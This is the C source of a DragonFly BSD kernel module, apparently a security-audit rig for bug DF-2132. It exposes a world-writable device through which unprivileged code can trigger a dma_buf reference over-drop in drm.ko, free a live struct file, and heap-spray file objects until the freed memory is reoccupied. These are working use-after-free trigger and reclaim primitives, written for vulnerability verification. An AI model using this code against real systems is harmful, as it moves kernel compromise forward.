/*
 * df2132_rig.c — KLD verification rig for DF-2132.
 *
 * The QEMU audit guest has no GPU (QEMU stdvga 0x1234 is claimed by no DRM
 * driver) so /dev/dri does not exist and DRM_IOCTL_PRIME_FD_TO_HANDLE cannot
 * be reached from plain userspace here.  This rig therefore drives the REAL
 * PRODUCTION CODE of the shipped /boot/kernel/drm.ko binary:
 *
 *   - dma_buf_export(), dma_buf_fd(), dma_buf_get(), dmabuf_fileops are
 *     extern symbols RESOLVED AT RUNTIME against the production drm.ko
 *     (sys/dev/drm/linux_dma-buf.c — unmodified shipped binary).
 *
 *   - dma_buf_put() is the production static inline copied VERBATIM from
 *     sys/dev/drm/include/linux/dma-buf.h:110-120 (the exact object code
 *     drm_prime.c is compiled with).  The struct dma_buf / dma_buf_ops /
 *     dma_buf_export_info definitions are copied verbatim from the same
 *     production header (dma-buf.h:40-78) so the rig ABI-matches drm.ko.
 *     build.sh records the md5 of the production header.
 *
 * DF2132IOC_PUT reproduces, statement for statement, the lookup-hit path of
 * drm_gem_prime_fd_to_handle() (sys/dev/drm/drm_prime.c:795-866):
 *
 *	dma_buf = dma_buf_get(prime_fd);	   // drm_prime.c:802
 *	if (IS_ERR(dma_buf))
 *		return PTR_ERR(dma_buf);
 *	... drm_prime_lookup_bufhandle() hits (ret == 0) ...
 *	goto out_put;
 * out_put:
 *	dma_buf_put(dma_buf);			   // drm_prime.c:864
 *
 * which is exactly what an unprivileged DRM_IOCTL_PRIME_FD_TO_HANDLE on an
 * already-imported buffer executes.  Everything (export, fd install, get,
 * put, the free itself) runs in the CALLING PROCESS context: /dev/df2132 is
 * created mode 0666 so the trigger is unprivileged, mirroring a render node.
 *
 * The rig adds NO drm behavior of its own; it only supplies the dma_buf_ops
 * stand-in a real GEM driver would supply (ops->release), and reports
 * observable state (f_count, release counter, fd-table slot contents) so the
 * reference-accounting violation is measured, not guessed.
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/device.h>
#include <sys/types.h>
#include <sys/errno.h>
#include <sys/file.h>
#include <sys/filedesc.h>
#include <sys/proc.h>
#include <sys/thread.h>
#include <sys/mutex.h>
#include <sys/malloc.h>
#include <sys/spinlock2.h>
#include <machine/atomic.h>

#include "df2132.h"

/* ------------------------------------------------------------------ */
/* VERBATIM production type definitions:				*/
/*   sys/dev/drm/include/linux/dma-buf.h:40-78				*/
/* (needed to ABI-match drm.ko without pulling the whole linuxkpi	*/
/* header chain into this rig)						*/

struct sg_table;
struct dma_buf;
struct dma_buf_attachment;

/* VERBATIM production enum: sys/dev/drm/include/linux/dma-direction.h:30-34 */
enum dma_data_direction {
	DMA_BIDIRECTIONAL = 0,
	DMA_TO_DEVICE = 1,
	DMA_NONE = 3,
};

/* Opaque types only referenced through pointers in the production structs */
struct reservation_object;
struct device;
struct vm_area_struct;

struct dma_buf_ops {
	struct sg_table * (*map_dma_buf)(struct dma_buf_attachment *,
						enum dma_data_direction);
	void (*unmap_dma_buf)(struct dma_buf_attachment *,
						struct sg_table *,
						enum dma_data_direction);
	void (*release)(struct dma_buf *);
	void *(*map)(struct dma_buf *, unsigned long);
	void *(*map_atomic)(struct dma_buf *, unsigned long);
	void (*unmap)(struct dma_buf *, unsigned long, void *);
	void (*unmap_atomic)(struct dma_buf *, unsigned long, void *);
	int (*mmap)(struct dma_buf *, struct vm_area_struct *vma);
	void *(*vmap)(struct dma_buf *);
	void (*vunmap)(struct dma_buf *, void *vaddr);
	int (*begin_cpu_access)(struct dma_buf *, enum dma_data_direction);
	int (*end_cpu_access)(struct dma_buf *, enum dma_data_direction);
	int (*attach)(struct dma_buf *, struct dma_buf_attachment *);
	void (*detach)(struct dma_buf *, struct dma_buf_attachment *);
};

struct dma_buf {
	struct reservation_object *resv;
	void *priv;
	const struct dma_buf_ops *ops;
	size_t size;
	struct file *file;
};

struct dma_buf_attachment {
	struct dma_buf *dmabuf;
	struct device *dev;
	void *priv;
};

struct dma_buf_export_info {
	const struct dma_buf_ops *ops;
	size_t size;
	int flags;
	void *priv;
	struct reservation_object *resv;
};
/* ------------------- end verbatim type definitions ----------------- */

/* ------------------------------------------------------------------ */
/* VERBATIM production inline: sys/dev/drm/include/linux/err.h:33,44-53	*/
#define MAX_ERRNO	4095
#define IS_ERR_VALUE(x) ((x) >= (unsigned long)-MAX_ERRNO)

static inline long PTR_ERR(const void *ptr)
{
	return (long)ptr;
}

static inline long IS_ERR(const void *ptr)
{
	return IS_ERR_VALUE((unsigned long)ptr);
}
/* ------------------- end verbatim err.h inline --------------------- */

/* ------------------------------------------------------------------ */
/* PRODUCTION symbols, resolved at runtime against the shipped drm.ko	*/
/* (sys/dev/drm/linux_dma-buf.c:38,118,140,169)			*/
extern struct fileops dmabuf_fileops;
extern struct dma_buf *dma_buf_export(const struct dma_buf_export_info *);
extern int dma_buf_fd(struct dma_buf *, int);
extern struct dma_buf *dma_buf_get(int);
/* ------------------------------------------------------------------ */

/* ------------------------------------------------------------------ */
/* VERBATIM production inline:						*/
/*   sys/dev/drm/include/linux/dma-buf.h:109-120			*/
static inline void
get_dma_buf(struct dma_buf *dmabuf)
{
	fhold(dmabuf->file);
}

static inline void
dma_buf_put(struct dma_buf *dmabuf)
{
	//kprintf("dma_buf_put: dmabuf=%p, dmabuf->file=%p\n", dmabuf, dmabuf ? dmabuf->file : NULL);
	if (dmabuf == NULL)
		return;

	if (dmabuf->file == NULL)
		return;
	fdrop(dmabuf->file);
}
/* ------------------- end verbatim dma-buf.h inline ----------------- */

static int	rig_release_count;
static uint64_t	rig_saved_fp;

static void
rig_dmabuf_release(struct dma_buf *dmabuf)
{
	atomic_add_int(&rig_release_count, 1);
	kprintf("df2132: [fo_close] ops->release() ran: release_count=%d "
	    "(struct file freed by dma_buf_put/fdrop while fd-table slot "
	    "may still reference it)\n", rig_release_count);
}

static struct dma_buf_ops rig_dmabuf_ops = {
	.release = rig_dmabuf_release,
};

static d_open_t	df2132_open;
static d_ioctl_t df2132_ioctl;

static struct dev_ops df2132_ops = {
	{ "df2132", 0, 0 },
	.d_open = df2132_open,
	.d_ioctl = df2132_ioctl,
};

static int
df2132_open(struct dev_open_args *ap)
{
	return (0);
}

static int
df2132_export(struct df2132_req *req)
{
	struct dma_buf_export_info info = {
		.ops = &rig_dmabuf_ops,
		.size = 4096,
	};
	struct dma_buf *dmabuf;
	int fd;

	/* PRODUCTION: falloc() -> fp f_count=1 (ref never dropped by
	 * dma_buf_export/dma_buf_fd -- production leak, see VERDICT.md) */
	dmabuf = dma_buf_export(&info);
	if (dmabuf == NULL || IS_ERR(dmabuf))
		return ((int)PTR_ERR(dmabuf));

	/* PRODUCTION: fdalloc + fsetfd(fhold) -> f_count=2, fd installed in
	 * the CALLING (unprivileged) process fd table */
	fd = dma_buf_fd(dmabuf, 0);
	if (fd < 0)
		return (fd);

	rig_saved_fp = (uint64_t)(uintptr_t)dmabuf->file;
	req->fd = fd;
	req->saved_fp = rig_saved_fp;
	req->fp_addr = rig_saved_fp;
	kprintf("df2132: [export] cpu%d dma_buf fd=%d fp=0x%llx f_count=%d "
	    "(falloc-ref + fd-table-ref)\n",
	    (curthread->td_gd->gd_cpuid), fd, (unsigned long long)rig_saved_fp,
	    dmabuf->file->f_count);
	return (0);
}

/*
 * Reproduce the drm_gem_prime_fd_to_handle() lookup-hit path
 * (drm_prime.c:802 -> 814 goto out_put -> 864 dma_buf_put).
 */
static int
df2132_put(struct df2132_req *req)
{
	struct dma_buf *dma_buf;

	/* drm_prime.c:802 -- PRODUCTION dma_buf_get: returns a pointer
	 * owning ZERO f_count references (holdfp borrow + dropfp) */
	dma_buf = dma_buf_get(req->fd);
	if (IS_ERR(dma_buf))
		return ((int)PTR_ERR(dma_buf));

	req->fcount_before = dma_buf->file->f_count;

	/* drm_prime.c:864 (out_put) -- VERBATIM production inline:
	 * fdrop(dmabuf->file) with NO matching acquisition */
	dma_buf_put(dma_buf);

	/* If fcount_before was 1, the fdrop above hit the 1->0 transition
	 * INSIDE dma_buf_put: fo_close (dmabuf_close -> ops->release +
	 * kfree(dmabuf)) and ffree(fp) already ran; dmabuf and fp are freed
	 * memory now.  Do not touch them; the free is proven by the
	 * release counter (INFO) and the fd-table slot (INFO). */
	if (req->fcount_before > 1) {
		req->fcount_after = dma_buf->file->f_count;
		kprintf("df2132: [import] cpu%d fd=%d f_count %d->%d "
		    "(over-drop: put consumed a ref nobody acquired)\n",
		    (curthread->td_gd->gd_cpuid), req->fd, req->fcount_before, req->fcount_after);
	} else {
		req->fcount_after = 0;
		kprintf("df2132: [import] cpu%d fd=%d f_count 1->0: *** STRUCT "
		    "FILE FREED INSIDE dma_buf_put WHILE FD-TABLE SLOT STILL "
		    "REFERENCES IT ***\n", (curthread->td_gd->gd_cpuid), req->fd);
	}
	return (0);
}

/*
 * Observable state: release counter + fd-table slot contents (read WITHOUT
 * dereferencing the fp the slot points to).
 */
static int
df2132_info(struct df2132_req *req)
{
	struct filedesc *fdp = curproc->p_fd;

	req->saved_fp = rig_saved_fp;
	req->release_count = rig_release_count;
	req->slot_valid = 0;
	req->slot_is_saved = 0;

	spin_lock_shared(&fdp->fd_spin);
	if ((u_int)req->fd < (u_int)fdp->fd_nfiles &&
	    fdp->fd_files[req->fd].fp != NULL) {
		req->slot_valid = 1;
		if ((uint64_t)(uintptr_t)fdp->fd_files[req->fd].fp ==
		    rig_saved_fp)
			req->slot_is_saved = 1;
	}
	spin_unlock_shared(&fdp->fd_spin);
	kprintf("df2132: [info] fd=%d release_count=%d slot_valid=%d "
	    "slot_is_saved=%d freed-fp=0x%llx\n",
	    req->fd, req->release_count, req->slot_valid,
	    req->slot_is_saved, (unsigned long long)rig_saved_fp);
	return (0);
}

/*
 * Resolve a LIVE fd to its struct file address + resting f_count (for
 * reclaim-aliasing comparison and resting-count oracle).  Never call on
 * a dangling fd.
 */
static int
df2132_lookup(struct df2132_req *req)
{
	struct file *fp;

	fp = holdfp(curthread, req->fd, -1);
	if (fp == NULL) {
		req->found = 0;
		return (0);
	}
	req->found = 1;
	req->fp_addr = (uint64_t)(uintptr_t)fp;
	/* count observed while the probe holds/borrows one reference */
	req->fcount_before = fp->f_count;
	/* MUST return a holdfp() result via dropfp() (borrow-or-owned
	 * contract) -- a plain fdrop() here would itself over-drop on a
	 * cache-hit borrow (the exact bug class under audit).  Safe on a
	 * live fd: the fd-table's own reference keeps the object alive. */
	dropfp(curthread, req->fd, fp);
	req->fcount_after = fp->f_count;
	return (0);
}

/*
 * Reclaim helper: allocate n bare struct files (falloc + fsetfd, the
 * standard open(2) allocation pattern MINUS the vnode/namei, so the
 * spray is fast) in the CALLING thread.  DF's kmalloc_obj allocator is
 * a per-slab FIFO ring, so a freed chunk resurfaces only after the
 * allocator drains the slabs ahead of it -- spray hard and check each
 * allocation's address against the freed (saved) one.
 */
static int
df2132_spray(struct df2132_req *req)
{
	struct file *fp;
	int i, error, nfd;

	for (i = 0; i < req->sprayed && i < 256; i++) {
		fp = NULL;
		nfd = -1;
		error = falloc(curthread->td_lwp, &fp, &nfd);
		if (error || fp == NULL)
			break;
		fsetfd(curproc->p_fd, fp, nfd);
		fdrop(fp);		/* release falloc ref (std pattern) */
		req->fd = nfd;
		req->fp_addr = (uint64_t)(uintptr_t)fp;
		if ((uint64_t)(uintptr_t)fp == rig_saved_fp) {
			kprintf("df2132: [spray] RECLAIM: dummy file fd=%d "
			    "fp=0x%llx == freed fp (chunk reoccupied)\n",
			    nfd, (unsigned long long)req->fp_addr);
			req->found = 1;
			return (0);
		}
	}
	req->found = 0;
	return (0);
}

static int
df2132_ioctl(struct dev_ioctl_args *ap)
{
	struct df2132_req *req;

	if (ap->a_cmd == DF2132IOC_EXPORT ||
	    ap->a_cmd == DF2132IOC_PUT ||
	    ap->a_cmd == DF2132IOC_INFO ||
	    ap->a_cmd == DF2132IOC_LOOKUP ||
	    ap->a_cmd == DF2132IOC_SPRAY) {
		/* DragonFly mapped_ioctl() pre-copies the (56-byte) payload
		 * into a kernel buffer and hands us a KERNEL pointer */
		req = (struct df2132_req *)ap->a_data;
	} else if (ap->a_cmd == DF2132IOC_NOTE) {
		struct df2132_note *n = (struct df2132_note *)ap->a_data;
		kprintf("df2132: [user] %s\n", n->msg);
		return (0);
	} else {
		return (ENOTTY);
	}

	switch (ap->a_cmd) {
	case DF2132IOC_EXPORT:
		return (df2132_export(req));
	case DF2132IOC_PUT:
		return (df2132_put(req));
	case DF2132IOC_INFO:
		return (df2132_info(req));
	case DF2132IOC_LOOKUP:
		return (df2132_lookup(req));
	case DF2132IOC_SPRAY:
		return (df2132_spray(req));
	}
	return (ENOTTY);
}

static int
df2132_modevent(module_t mod, int type, void *data)
{
	static cdev_t df2132_dev;

	switch (type) {
	case MOD_LOAD:
		df2132_dev = make_dev(&df2132_ops, 0,
		    UID_ROOT, GID_WHEEL, 0666, "df2132");
		kprintf("df2132: rig loaded (production drm.ko symbols: "
		    "dma_buf_export=%p dma_buf_fd=%p dma_buf_get=%p "
		    "dmabuf_fileops=%p)\n",
		    dma_buf_export, dma_buf_fd, dma_buf_get, &dmabuf_fileops);
		return (0);
	case MOD_UNLOAD:
		destroy_dev(df2132_dev);
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

DEV_MODULE(df2132, df2132_modevent, NULL);
MODULE_DEPEND(df2132, drm, 1, 1, 1);
